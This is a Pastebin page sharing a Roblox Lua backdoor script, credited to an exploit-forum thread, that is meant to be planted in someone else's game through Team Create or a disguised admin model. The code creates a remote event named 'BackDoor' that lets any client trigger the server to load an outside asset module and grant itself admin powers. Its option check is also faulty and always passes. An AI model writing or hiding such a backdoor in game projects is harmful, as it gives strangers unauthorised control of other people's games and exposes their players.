Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Must be placed in someones game (Team Create or Model - Ex: Admin Script)
- -- Cannot be Executed by exploits!
- -- Not owned by me, Credits to the original Owner
- -- Original Thread: https://v3rmillion.net/showthread.php?tid=521559
- -- Xfer was here (T.V.K)
- local ReplicatedStorage = game:GetService("ReplicatedStorage")
- local backdoorRemote = Instance.new("RemoteEvent", ReplicatedStorage) -- creates a remote in replicated storage called BackDoor
- backdoorRemote.Name = "BackDoor"
- local function playerExecute(player, a) -- this function is called when someone runs the backdoor
- if a == "mml" or "etc" then -- checks if the backdoor's "execution option" is valid
- print(player.Name, " executed a backdoor script, ", a)
- if a == "mml" then -- checks if the option is "mml"
- require(520532182).giveAdmin(player.Name) -- gives player mml admin
- end
- if a == "etc" then -- change 'etc' to whatever you want another option to be.
- end
- else
- print("@", player.Name, ", incorrect backdoor option") -- prints to console that it is a invalid backdoor execution option option
- end
- end
- backdoorRemote.OnServerEvent:Connect(playerExecute) -- makes it so when the backdoor is run, the function above runs as well
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement